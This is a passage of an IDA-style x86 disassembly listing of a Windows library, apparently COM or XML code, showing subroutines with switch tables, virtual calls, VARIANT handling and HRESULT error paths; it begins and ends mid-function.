call dword ptr [eax+2Ch]
push eax
mov ecx, edi
call sub_69B4D7A3
pop edi
pop esi
retn 4
sub_69B48821 endp
; =============== S U B R O U T I N E =======================================
sub_69B4884D proc near ; DATA XREF: .text:69B15358o
; .text:69B1DDA8o
arg_0 = dword ptr 4
push esi
mov esi, ecx
call sub_69B48032
push [esp+4+arg_0]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+124h]
pop esi
retn 4
sub_69B4884D endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B48867(int, VARIANTARG *pvargDest)
sub_69B48867 proc near ; DATA XREF: .text:69B15354o
; .text:69B1DDA4o
arg_0 = dword ptr 4
pvargDest = dword ptr 8
push esi
mov esi, ecx
call sub_69B48032
push [esp+4+pvargDest] ; pvargDest
mov ecx, esi
push [esp+8+arg_0] ; int
call sub_69B47DF9
pop esi
retn 8
sub_69B48867 endp
; =============== S U B R O U T I N E =======================================
sub_69B48882 proc near ; DATA XREF: .text:69B15370o
; .text:69B1DDC0o
mov eax, [ecx+8]
shr eax, 0Ch
and al, 1
jnz short locret_69B48893
call sub_69B48043
xor al, al
locret_69B48893: ; CODE XREF: sub_69B48882+8j
retn
sub_69B48882 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B48894 proc near ; DATA XREF: .text:69B152ECo
; .text:69B1DD3Co
var_10 = word ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_0]
add eax, 0FFFFFFF2h
cmp eax, 15h ; switch 22 cases
ja loc_69B4896F ; default
; jumptable 69B488B0 case 12
movzx eax, ds:byte_69B48999[eax]
jmp ds:off_69B48985[eax*4] ; switch jump
loc_69B488B7: ; DATA XREF: .text:off_69B48985o
mov eax, [ecx] ; jumptable 69B488B0 case 0
and [ebp+var_10], 0
lea edx, [ebp+var_10]
push edx
push 0Eh
call dword ptr [eax+0BCh]
cmp [ebp+var_10], 0Bh
jnz locret_69B48981
cmp word ptr [ebp+var_8], 0
mov eax, [ebp+arg_4]
setnz cl
mov dword ptr [eax], 1
mov [eax+8], cl
jmp locret_69B48981
; ---------------------------------------------------------------------------
loc_69B488EE: ; CODE XREF: sub_69B48894+1Cj
; DATA XREF: .text:off_69B48985o
mov eax, [ecx] ; jumptable 69B488B0 cases 1,6-11,13-16,19-21
and [ebp+var_10], 0
lea edx, [ebp+var_10]
push edx
push 1Eh
call dword ptr [eax+0BCh]
cmp [ebp+var_10], 5
jnz short locret_69B48981
mov eax, [ebp+arg_4]
mov dword ptr [eax], 3
jmp short loc_69B48967
; ---------------------------------------------------------------------------
loc_69B48913: ; CODE XREF: sub_69B48894+1Cj
; DATA XREF: .text:off_69B48985o
mov eax, [ecx] ; jumptable 69B488B0 case 5
and [ebp+var_10], 0
lea edx, [ebp+var_10]
push edx
push 13h
call dword ptr [eax+0BCh]
cmp [ebp+var_10], 6
jnz short locret_69B48981
mov eax, [ebp+arg_4]
mov ecx, dword ptr [ebp+var_8]
mov [eax+8], ecx
mov ecx, dword ptr [ebp+var_8+4]
mov dword ptr [eax], 2
mov [eax+0Ch], ecx
jmp short locret_69B48981
; ---------------------------------------------------------------------------
loc_69B48944: ; CODE XREF: sub_69B48894+1Cj
; DATA XREF: .text:off_69B48985o
mov eax, [ecx] ; jumptable 69B488B0 cases 2-4,17,18
and [ebp+var_10], 0
lea edx, [ebp+var_10]
push edx
push 10h
call dword ptr [eax+0BCh]
cmp [ebp+var_10], 7
jnz short locret_69B48981
mov eax, [ebp+arg_4]
mov dword ptr [eax], 4
loc_69B48967: ; CODE XREF: sub_69B48894+7Dj
fld [ebp+var_8]
fstp qword ptr [eax+8]
jmp short locret_69B48981
; ---------------------------------------------------------------------------
loc_69B4896F: ; CODE XREF: sub_69B48894+Fj
; sub_69B48894+1Cj
; DATA XREF: ...
mov eax, [ecx] ; default
; jumptable 69B488B0 case 12
push 0
push 4
call dword ptr [eax+4Ch]
mov ecx, [ebp+arg_4]
push eax
call sub_69B48684
locret_69B48981: ; CODE XREF: sub_69B48894+3Bj
; sub_69B48894+55j ...
leave
retn 8
sub_69B48894 endp
; ---------------------------------------------------------------------------
off_69B48985 dd offset loc_69B488B7 ; DATA XREF: sub_69B48894+1Cr
dd offset loc_69B488EE ; jump table for switch statement
dd offset loc_69B48944
dd offset loc_69B48913
dd offset loc_69B4896F
byte_69B48999 db 0, 1, 2, 2 ; DATA XREF: sub_69B48894+15r
db 2, 3, 1, 1 ; indirect table for switch statement
db 1, 1, 1, 1
db 4, 1, 1, 1
db 1, 2, 2, 1
db 1, 1
; =============== S U B R O U T I N E =======================================
sub_69B489AF proc near ; CODE XREF: sub_69B491B5+14p
push esi
mov esi, ecx
mov eax, [esi+8]
mov ecx, eax
shr ecx, 10h
test cl, 1
jnz short loc_69B489F6
test eax, 0C0000h
jnz short loc_69B489F6
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+118h]
test al, al
jnz short loc_69B489F6
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+108h]
test eax, eax
jz short loc_69B489EC
mov eax, [eax+8]
shr eax, 14h
test al, 1
jz short loc_69B489F6
loc_69B489EC: ; CODE XREF: sub_69B489AF+31j
push 8000000Ah
call sub_69B2E8B8
loc_69B489F6: ; CODE XREF: sub_69B489AF+Ej
; sub_69B489AF+15j ...
pop esi
retn
sub_69B489AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B489F8 proc near ; CODE XREF: sub_69B48A77+Fp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_8], 0
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
test esi, esi
jnz short loc_69B48A14
mov eax, 80070057h
jmp short loc_69B48A72
; ---------------------------------------------------------------------------
loc_69B48A14: ; CODE XREF: sub_69B489F8+13j
mov eax, [esi]
lea ecx, [ebp+var_8]
push ecx
push offset dword_69B2B060
push esi
call dword ptr [eax]
test eax, eax
jl short loc_69B48A46
mov eax, [ebp+var_8]
test eax, eax
jz short loc_69B48A46
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push eax
call dword ptr [ecx+1Ch]
mov esi, eax
test esi, esi
jl short loc_69B48A5E
cmp [ebp+var_4], 0
jz short loc_69B48A5E
mov esi, [ebp+var_4]
loc_69B48A46: ; CODE XREF: sub_69B489F8+2Cj
; sub_69B489F8+33j
push esi
call sub_69B47D5E
test eax, eax
mov ecx, [ebp+arg_4]
mov [ecx], eax
jnz short loc_69B48A5C
mov esi, 80004002h
jmp short loc_69B48A5E
; ---------------------------------------------------------------------------
loc_69B48A5C: ; CODE XREF: sub_69B489F8+5Bj
xor esi, esi
loc_69B48A5E: ; CODE XREF: sub_69B489F8+43j
; sub_69B489F8+49j ...
lea eax, [ebp+var_8]
push eax
call sub_69B17230
lea eax, [ebp+var_4]
push eax
call sub_69B17230
mov eax, esi
loc_69B48A72: ; CODE XREF: sub_69B489F8+1Aj
pop esi
leave
retn 8
sub_69B489F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B48A77 proc near ; CODE XREF: sub_69B3B4B1+4p
; sub_69B3B8CA+47p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_69B489F8
cmp eax, 80004002h
jnz short loc_69B48A97
mov eax, 80070057h
loc_69B48A97: ; CODE XREF: sub_69B48A77+19j
push eax
call sub_69B8861E
mov eax, [ebp+var_4]
leave
retn 4
sub_69B48A77 endp
; =============== S U B R O U T I N E =======================================
sub_69B48AA4 proc near ; DATA XREF: .text:69B1537Co
; .text:69B1DDCCo
push ebx
push esi
push edi
mov edi, ecx
mov eax, [edi]
jmp short loc_69B48AEB
; ---------------------------------------------------------------------------
loc_69B48AAD: ; CODE XREF: sub_69B48AA4+51j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
cmp eax, 0Bh
jnz short loc_69B48AE7
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
mov ecx, [edi+0Ch]
mov ebx, eax
call sub_69B3DABE
test ebx, ebx
jz short loc_69B48AE7
test eax, eax
jz short loc_69B48AE7
push 0
push ebx
mov ecx, eax
call sub_69B8AFBA
test eax, eax
jz short loc_69B48AE7
mov eax, [eax+10h]
test eax, eax
jnz short loc_69B48AFD
loc_69B48AE7: ; CODE XREF: sub_69B48AA4+13j
; sub_69B48AA4+28j ...
mov eax, [esi]
mov ecx, esi
loc_69B48AEB: ; CODE XREF: sub_69B48AA4+7j
call dword ptr [eax+0F4h]
mov esi, eax
test esi, esi
jnz short loc_69B48AAD
mov eax, [edi+0Ch]
mov eax, [eax+48h]
loc_69B48AFD: ; CODE XREF: sub_69B48AA4+41j
pop edi
pop esi
pop ebx
retn
sub_69B48AA4 endp
; =============== S U B R O U T I N E =======================================
sub_69B48B01 proc near ; CODE XREF: sub_69B1C04C+8221p
; sub_69B1C04C+82BCp ...
push esi
mov esi, ecx
mov al, [esi+0Bh]
and al, 1Fh
cmp al, 3
jnz short loc_69B48B31
push 44h
call sub_69B1D897
test eax, eax
jz short loc_69B48B24
push dword ptr [esi+0Ch]
mov ecx, eax
call sub_69B592CE
jmp short loc_69B48B26
; ---------------------------------------------------------------------------
loc_69B48B24: ; CODE XREF: sub_69B48B01+15j
xor eax, eax
loc_69B48B26: ; CODE XREF: sub_69B48B01+21j
lea ecx, [eax+1Ch]
neg eax
sbb eax, eax
and eax, ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B48B31: ; CODE XREF: sub_69B48B01+Aj
push esi
call sub_69B438E3
pop esi
retn
sub_69B48B01 endp
; =============== S U B R O U T I N E =======================================
sub_69B48B39 proc near ; CODE XREF: sub_69B3EB54+1Bp
; sub_69B44884+1Ap ...
var_2 = byte ptr -2
var_1 = byte ptr -1
push ecx
push ebx
push esi
push edi
mov esi, ecx
call sub_69B17275
test eax, eax
jz short loc_69B48B86
mov eax, [esi+8]
mov edi, [esi+0Ch]
shr eax, 1Fh
test al, 1
jnz short loc_69B48B67
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0F8h]
test al, al
jnz short loc_69B48B67
xor bl, bl
jmp short loc_69B48B69
; ---------------------------------------------------------------------------
loc_69B48B67: ; CODE XREF: sub_69B48B39+1Aj
; sub_69B48B39+28j
mov bl, 1
loc_69B48B69: ; CODE XREF: sub_69B48B39+2Cj
mov ecx, esi
call sub_69B183BB
mov esi, eax
xor eax, eax
test bl, bl
setnz al
cmp esi, eax
jnz short loc_69B48BE5
mov ecx, edi
call sub_69B3F0A6
jmp short loc_69B48BE5
; ---------------------------------------------------------------------------
loc_69B48B86: ; CODE XREF: sub_69B48B39+Dj
push ebp
lea eax, [esi+4]
push eax ; Target
call sub_69B18980
mov ebp, [esi+0Ch]
mov ebx, eax
mov eax, [esi+8]
shr eax, 1Fh
test al, 1
jnz short loc_69B48BB2
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0F8h]
test al, al
mov [esp+14h+var_1], 0
jz short loc_69B48BB7
loc_69B48BB2: ; CODE XREF: sub_69B48B39+64j
mov [esp+14h+var_1], 1
loc_69B48BB7: ; CODE XREF: sub_69B48B39+77j
test bl, 1
jz short loc_69B48BC3
mov edi, ebx
shr edi, 3
jmp short loc_69B48BC5
; ---------------------------------------------------------------------------
loc_69B48BC3: ; CODE XREF: sub_69B48B39+81j
xor edi, edi
loc_69B48BC5: ; CODE XREF: sub_69B48B39+88j
push ebx
mov ecx, esi
call sub_69B183E6
mov esi, eax
xor eax, eax
cmp [esp+14h+var_1], al
setnz al
inc eax
cmp edi, eax
jnz short loc_69B48BE4
mov ecx, ebp
call sub_69B3F0A6
loc_69B48BE4: ; CODE XREF: sub_69B48B39+A2j
pop ebp
loc_69B48BE5: ; CODE XREF: sub_69B48B39+42j
; sub_69B48B39+4Bj
pop edi
mov eax, esi
pop esi
pop ebx
pop ecx
retn
sub_69B48B39 endp
; =============== S U B R O U T I N E =======================================
sub_69B48BEC proc near ; DATA XREF: .text:69B1DDD8o
arg_0 = dword ptr 4
mov eax, [ecx+8]
push [esp+arg_0]
shr eax, 11h
test al, 1
jz short loc_69B48C03
mov eax, [ecx+14h]
add eax, 14h
push eax
jmp short loc_69B48C07
; ---------------------------------------------------------------------------
loc_69B48C03: ; CODE XREF: sub_69B48BEC+Cj
add ecx, 14h
push ecx
loc_69B48C07: ; CODE XREF: sub_69B48BEC+15j
call sub_69B17320
retn 4
sub_69B48BEC endp
; =============== S U B R O U T I N E =======================================
sub_69B48C0F proc near ; CODE XREF: sub_69B59D9A+21p
; sub_69B59DC5+9p ...
add ecx, 10h
jmp sub_69B48718
sub_69B48C0F endp
; =============== S U B R O U T I N E =======================================
sub_69B48C17 proc near ; CODE XREF: sub_69B59D24j
; DATA XREF: .text:69B1DE08o
arg_0 = dword ptr 4
or byte ptr [ecx+0Ah], 0Ch
push [esp+arg_0]
add ecx, 1Ch
push ecx
call sub_69B17320
retn 4
sub_69B48C17 endp
; =============== S U B R O U T I N E =======================================
sub_69B48C2B proc near ; CODE XREF: sub_69B4B3ED+327p
; sub_69B4BD17+26Dp
arg_0 = dword ptr 4
push esi
push edi
push 0
push [esp+0Ch+arg_0]
mov edi, ecx
push 0Ch
call sub_69B8AB3E
mov esi, eax
test esi, esi
jz short loc_69B48C80
mov ecx, [esi+8]
lea eax, [ecx-1]
xor eax, ecx
and eax, 7FFFFFFFh
xor eax, ecx
test eax, 0FFFFFFFFh
mov [esi+8], eax
jnz short loc_69B48C80
push 0
push esi
call sub_69B17320
mov eax, [esi+4]
test eax, eax
jz short loc_69B48C79
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
mov eax, [esi+4]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B48C79: ; CODE XREF: sub_69B48C2B+3Dj
and dword ptr [esi+4], 0
dec dword ptr [edi+0Ch]
loc_69B48C80: ; CODE XREF: sub_69B48C2B+15j
; sub_69B48C2B+2Ej
pop edi
pop esi
retn 4
sub_69B48C2B endp
; =============== S U B R O U T I N E =======================================
sub_69B48C85 proc near ; CODE XREF: sub_69B4BD17+2E1p
arg_0 = dword ptr 4
push esi
push edi
push 1
push [esp+0Ch+arg_0]
mov esi, ecx
push 8
call sub_69B8AB3E
mov edi, eax
test edi, edi
jz short loc_69B48CAB
push 0
push edi
call sub_69B17320
and dword ptr [edi+4], 0
dec dword ptr [esi+0Ch]
loc_69B48CAB: ; CODE XREF: sub_69B48C85+15j
pop edi
pop esi
retn 4
sub_69B48C85 endp
; =============== S U B R O U T I N E =======================================
sub_69B48CB0 proc near ; CODE XREF: sub_69B5B878+26p
; sub_69B5C83A+8Fp
arg_0 = dword ptr 4
push [esp+arg_0]
mov ecx, dword_69B95AB8
call sub_69B1A954
mov eax, [eax]
retn 4
sub_69B48CB0 endp
; =============== S U B R O U T I N E =======================================
sub_69B48CC4 proc near ; CODE XREF: sub_69B4BD17+2CBp
; sub_69B4FCAC+4Cp ...
arg_0 = dword ptr 4
mov eax, dword_69B95AB8
cmp dword ptr [eax+8], 20h
push esi
mov esi, eax
jg short loc_69B48CD7
call sub_69B2E6D8
loc_69B48CD7: ; CODE XREF: sub_69B48CC4+Cj
mov ecx, [esi+8Ch]
xor eax, eax
cmp ecx, [esp+4+arg_0]
pop esi
setz al
retn 4
sub_69B48CC4 endp
; =============== S U B R O U T I N E =======================================
sub_69B48CEA proc near ; CODE XREF: sub_69B41554+92p
; sub_69B423AC:loc_69B42425p ...
push esi
mov esi, ecx
mov eax, [esi+8]
mov ecx, eax
shr ecx, 1Dh
test cl, 1
jnz short loc_69B48D48
shr eax, 18h
and eax, 1Fh
cmp eax, 4
jz short loc_69B48D48
cmp eax, 6
jle short loc_69B48D5C
cmp eax, 8
jle short loc_69B48D48
cmp eax, 0Bh
jz short loc_69B48D48
cmp eax, 0Fh
jnz short loc_69B48D5C
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0F4h]
test eax, eax
jz short loc_69B48D5C
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
mov ecx, [eax+10h]
cmp ecx, dword_69B95A5C
jz short loc_69B48D48
test ecx, ecx
jnz short loc_69B48D5C
mov eax, [eax+14h]
cmp eax, dword_69B95A6C
jnz short loc_69B48D5C
loc_69B48D48: ; CODE XREF: sub_69B48CEA+Ej
; sub_69B48CEA+19j ...
push 0
push 0C00CE212h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B48D5C: ; CODE XREF: sub_69B48CEA+1Ej
; sub_69B48CEA+2Dj ...
xor al, al
pop esi
retn
sub_69B48CEA endp
; =============== S U B R O U T I N E =======================================
sub_69B48D60 proc near ; CODE XREF: sub_69B4B3ED+37p
; sub_69B4C674+2E4p
push esi
mov esi, ecx
mov eax, [esi]
push edi
call dword ptr [eax+3Ch]
test eax, eax
jz short loc_69B48D72
mov edi, [eax+8]
jmp short loc_69B48D74
; ---------------------------------------------------------------------------
loc_69B48D72: ; CODE XREF: sub_69B48D60+Bj
xor edi, edi
loc_69B48D74: ; CODE XREF: sub_69B48D60+10j
mov eax, [esi+8]
shr eax, 0Eh
test al, 1
jnz short loc_69B48DAA
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1Fh
mov esi, eax
jg short loc_69B48D90
call sub_69B2E6D8
loc_69B48D90: ; CODE XREF: sub_69B48D60+29j
cmp [esi+88h], edi
jz short loc_69B48DAA
test edi, edi
jz short loc_69B48DA6
mov eax, dword_69B95A5C
cmp eax, [edi+10h]
jz short loc_69B48DAA
loc_69B48DA6: ; CODE XREF: sub_69B48D60+3Aj
xor eax, eax
jmp short loc_69B48DAD
; ---------------------------------------------------------------------------
loc_69B48DAA: ; CODE XREF: sub_69B48D60+1Cj
; sub_69B48D60+36j ...
xor eax, eax
inc eax
loc_69B48DAD: ; CODE XREF: sub_69B48D60+48j
pop edi
pop esi
retn
sub_69B48D60 endp
; =============== S U B R O U T I N E =======================================
sub_69B48DB0 proc near ; CODE XREF: sub_69B4C3EC+1B3p
mov eax, ecx
and dword ptr [eax+20h], 0
retn
sub_69B48DB0 endp
; =============== S U B R O U T I N E =======================================
sub_69B48DB7 proc near ; CODE XREF: sub_69B4C3EC+268p
add ecx, 20h
push ecx
call sub_69B17230
retn
sub_69B48DB7 endp
; =============== S U B R O U T I N E =======================================
sub_69B48DC1 proc near ; CODE XREF: sub_69B48E02+1Fp
; sub_69B48F23+4p ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
xor eax, eax
test byte ptr [esi+0Ah], 0Ch
jnz short loc_69B48DFE
mov eax, [esi]
call dword ptr [eax+118h]
test al, al
jz short loc_69B48DDC
xor eax, eax
jmp short loc_69B48DFE
; ---------------------------------------------------------------------------
loc_69B48DDC: ; CODE XREF: sub_69B48DC1+15j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+108h]
test eax, eax
jz short loc_69B48DFE
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+100h]
test eax, eax
jz short loc_69B48DFE
mov ecx, [esp+4+arg_0]
mov [ecx], eax
loc_69B48DFE: ; CODE XREF: sub_69B48DC1+9j
; sub_69B48DC1+19j ...
pop esi
retn 4
sub_69B48DC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B48E02 proc near ; CODE XREF: sub_69B419B4+55p
var_4 = byte ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov eax, [esi]
push edi
xor ebx, ebx
call dword ptr [eax+0F4h]
mov edi, eax
test edi, edi
jz short loc_69B48E3D
lea eax, [ebp+var_4]
push eax
mov ecx, edi
call sub_69B48DC1
jmp short loc_69B48E39
; ---------------------------------------------------------------------------
loc_69B48E28: ; CODE XREF: sub_69B48E02+39j
cmp eax, esi
jz short loc_69B48E44
mov ebx, eax
lea eax, [ebp+var_4]
push eax
mov ecx, edi
call sub_69B47D9F
loc_69B48E39: ; CODE XREF: sub_69B48E02+24j
test eax, eax
jnz short loc_69B48E28
loc_69B48E3D: ; CODE XREF: sub_69B48E02+17j
; sub_69B48E02+4Ej
xor eax, eax
loc_69B48E3F: ; CODE XREF: sub_69B48E02+52j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_69B48E44: ; CODE XREF: sub_69B48E02+28j
test ebx, ebx
jz short loc_69B48E52
mov eax, [ebx+8]
shr eax, 14h
test al, 1
jnz short loc_69B48E3D
loc_69B48E52: ; CODE XREF: sub_69B48E02+44j
mov eax, ebx
jmp short loc_69B48E3F
sub_69B48E02 endp
; =============== S U B R O U T I N E =======================================
sub_69B48E56 proc near ; CODE XREF: sub_69B14EAC+181p
; sub_69B4936A+3Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
test byte ptr [esi+0Bh], 1Fh
jz short loc_69B48E63
xor eax, eax
jmp short loc_69B48E9B
; ---------------------------------------------------------------------------
loc_69B48E63: ; CODE XREF: sub_69B48E56+7j
push ebx
push edi
mov edi, [esp+0Ch+arg_0]
test edi, edi
jnz short loc_69B48E77
mov ecx, [esi+0Ch]
call sub_69B3DABE
mov edi, eax
loc_69B48E77: ; CODE XREF: sub_69B48E56+15j
xor ebx, ebx
test edi, edi
jz short loc_69B48E97
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
test eax, eax
jz short loc_69B48E97
mov ecx, [edi+48h]
test ecx, ecx
jz short loc_69B48E97
push eax
call sub_69B1980A
mov ebx, eax
loc_69B48E97: ; CODE XREF: sub_69B48E56+25j
; sub_69B48E56+30j ...
pop edi
mov eax, ebx
pop ebx
loc_69B48E9B: ; CODE XREF: sub_69B48E56+Bj
pop esi
retn 4
sub_69B48E56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B48E9F proc near ; CODE XREF: sub_69B48ED5+Ap
; sub_69B4928E+2Bp
pvarg = VARIANTARG ptr -10h
push ebp
mov ebp, esp
sub esp, 10h
push esi
mov esi, ecx
mov ax, [esi+8]
cmp ax, 1
jz short loc_69B48ED2
mov word ptr [ebp+pvarg.anonymous_0], ax
mov eax, [esi+18h]
mov dword ptr [ebp+pvarg.anonymous_0+8], eax
mov eax, [esi+1Ch]
mov dword ptr [ebp+pvarg.anonymous_0+0Ch], eax
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantClear
mov word ptr [esi+8], 1
loc_69B48ED2: ; CODE XREF: sub_69B48E9F+11j
pop esi
leave
retn
sub_69B48E9F endp
; =============== S U B R O U T I N E =======================================
sub_69B48ED5 proc near ; CODE XREF: sub_69B493EE+FBp
; sub_69B495EC+177p
arg_0 = dword ptr 4
push esi
mov esi, ecx
cmp word ptr [esi+8], 1
jz short loc_69B48EE4
call sub_69B48E9F
loc_69B48EE4: ; CODE XREF: sub_69B48ED5+8j
mov eax, [esi+8]
shr eax, 4
and eax, 3Fh
cmp eax, 1
jz short loc_69B48F1C
cmp eax, 25h
jz short loc_69B48F1C
cmp eax, 26h
jz short loc_69B48F1C
cmp eax, 1Ch
jz short loc_69B48F1C
mov eax, [esp+4+arg_0]
mov cx, [eax]
mov [esi+8], cx
mov ecx, [eax+8]
mov [esi+18h], ecx
mov eax, [eax+0Ch]
mov [esi+1Ch], eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_69B48F1C: ; CODE XREF: sub_69B48ED5+1Bj
; sub_69B48ED5+20j ...
pop esi
jmp VariantClear
sub_69B48ED5 endp
; =============== S U B R O U T I N E =======================================
sub_69B48F23 proc near ; CODE XREF: sub_69B4A077+34p
; sub_69B4A73D+7p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_69B48DC1
test eax, eax
jz short locret_69B48F3D
mov ecx, [eax+8]
shr ecx, 14h
test cl, 1
jnz short locret_69B48F3D
xor eax, eax
locret_69B48F3D: ; CODE XREF: sub_69B48F23+Bj
; sub_69B48F23+16j
retn 4
sub_69B48F23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B48F40 proc near ; CODE XREF: sub_69B47E6C+Bp
; sub_69B4B3ED+55p ...
var_14 = byte ptr -14h
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 14h
push ebx
mov ebx, [ebp+arg_14]
test ebx, ebx
push edi
mov edi, ecx
jnz short loc_69B48F5E
push 20h
lea ecx, [ebp+var_14]
call sub_69B3109C
lea ebx, [ebp+var_14]
loc_69B48F5E: ; CODE XREF: sub_69B48F40+Fj
test byte ptr [edi+0Ah], 0Ch
mov ecx, edi
jnz loc_69B49082
push esi
lea eax, [ebp+var_4]
push eax
call sub_69B48DC1
loc_69B48F74: ; CODE XREF: sub_69B48F40+A3j
mov esi, eax
cmp esi, [ebp+arg_C]
jnz short loc_69B48FAC
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_69B48F97
mov al, [ecx+0Bh]
and al, 1Fh
cmp al, 11h
jnz short loc_69B48F93
push ebx
call sub_69B47E6C
jmp short loc_69B48FAC
; ---------------------------------------------------------------------------
loc_69B48F93: ; CODE XREF: sub_69B48F40+49j
mov esi, ecx
jmp short loc_69B48FAC
; ---------------------------------------------------------------------------
loc_69B48F97: ; CODE XREF: sub_69B48F40+40j
cmp [ebp+arg_4], 0
jz short loc_69B48FAC
push 2
push [ebp+arg_4]
mov ecx, ebx
push [ebp+arg_0]
call sub_69B31369
loc_69B48FAC: ; CODE XREF: sub_69B48F40+39j
; sub_69B48F40+51j ...
test esi, esi
jz loc_69B49075
cmp esi, [ebp+arg_10]
jz short loc_69B48FD8
xor eax, eax
mov al, [esi+0Bh]
and eax, 1Fh
sub eax, 0
jz short loc_69B4902C
dec eax
jz short loc_69B49012
sub eax, 5
jz short loc_69B49000
sub eax, 5
jz short loc_69B48FE5
sub eax, 4
jnz short loc_69B4904F
loc_69B48FD8: ; CODE XREF: sub_69B48F40+77j
; sub_69B48F40+127j
lea eax, [ebp+var_4]
push eax
mov ecx, edi
call sub_69B47DCC
jmp short loc_69B48F74
; ---------------------------------------------------------------------------
loc_69B48FE5: ; CODE XREF: sub_69B48F40+91j
cmp dword ptr [edi+0Ch], 0
jz short loc_69B4904F
mov ecx, esi
call sub_69B486D2
test eax, eax
jz short loc_69B4904F
push ebx
mov ecx, eax
call sub_69B47E6C
jmp short loc_69B4904F
; ---------------------------------------------------------------------------
loc_69B49000: ; CODE XREF: sub_69B48F40+8Cj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+110h]
test eax, eax
jz short loc_69B4904F
push 0
jmp short loc_69B49022
; ---------------------------------------------------------------------------
loc_69B49012: ; CODE XREF: sub_69B48F40+87j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+110h]
test eax, eax
jz short loc_69B4904F
push 2
loc_69B49022: ; CODE XREF: sub_69B48F40+D0j
push eax
mov ecx, ebx
call sub_69B3146D
jmp short loc_69B4904F
; ---------------------------------------------------------------------------
loc_69B4902C: ; CODE XREF: sub_69B48F40+84j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+3Ch]
mov edx, [eax]
push 0
mov ecx, eax
call dword ptr [edx+2Ch]
push eax
push 0C00CE102h
push 80004005h
call sub_69B2E9D0
add esp, 10h
loc_69B4904F: ; CODE XREF: sub_69B48F40+96j
; sub_69B48F40+A9j ...
mov eax, [esi+8]
shr eax, 0Ch
test al, 1
jz short loc_69B49064
push 1
push 20h
mov ecx, ebx
call sub_69B312D9
loc_69B49064: ; CODE XREF: sub_69B48F40+117j
cmp esi, [ebp+arg_8]
jnz loc_69B48FD8
mov esi, [ebp+arg_C]
jmp loc_69B48FAC
; ---------------------------------------------------------------------------
loc_69B49075: ; CODE XREF: sub_69B48F40+6Ej
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+110h]
pop esi
jmp short loc_69B4908A
; ---------------------------------------------------------------------------
loc_69B49082: ; CODE XREF: sub_69B48F40+24j
mov eax, [edi]
call dword ptr [eax+110h]
loc_69B4908A: ; CODE XREF: sub_69B48F40+140j
test eax, eax
jz short loc_69B49098
push 2
mov ecx, ebx
push eax
call sub_69B3146D
loc_69B49098: ; CODE XREF: sub_69B48F40+14Cj
xor eax, eax
cmp [ebp+arg_14], eax
jnz short loc_69B490A6
mov ecx, ebx
call sub_69B31267
loc_69B490A6: ; CODE XREF: sub_69B48F40+15Dj
pop edi
pop ebx
leave
retn 18h
sub_69B48F40 endp
; =============== S U B R O U T I N E =======================================
sub_69B490AC proc near ; CODE XREF: sub_69B40333+5p
; sub_69B4A201+Bp
mov ecx, [ecx+0Ch]
xor al, al
cmp [ecx+8Eh], al
jz short locret_69B490BB
inc al
locret_69B490BB: ; CODE XREF: sub_69B490AC+Bj
retn
sub_69B490AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B490BC proc near ; CODE XREF: sub_69B173D1+173p
; sub_69B173D1+19Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_C]
mov eax, [ebx+8]
push esi
mov esi, [ebx+0Ch]
push edi
mov edi, [eax+10h]
and [ebp+arg_C], 0
test esi, esi
jnz short loc_69B490E2
cmp [ebp+arg_10], 0
jnz loc_69B49175
jmp short loc_69B490EA
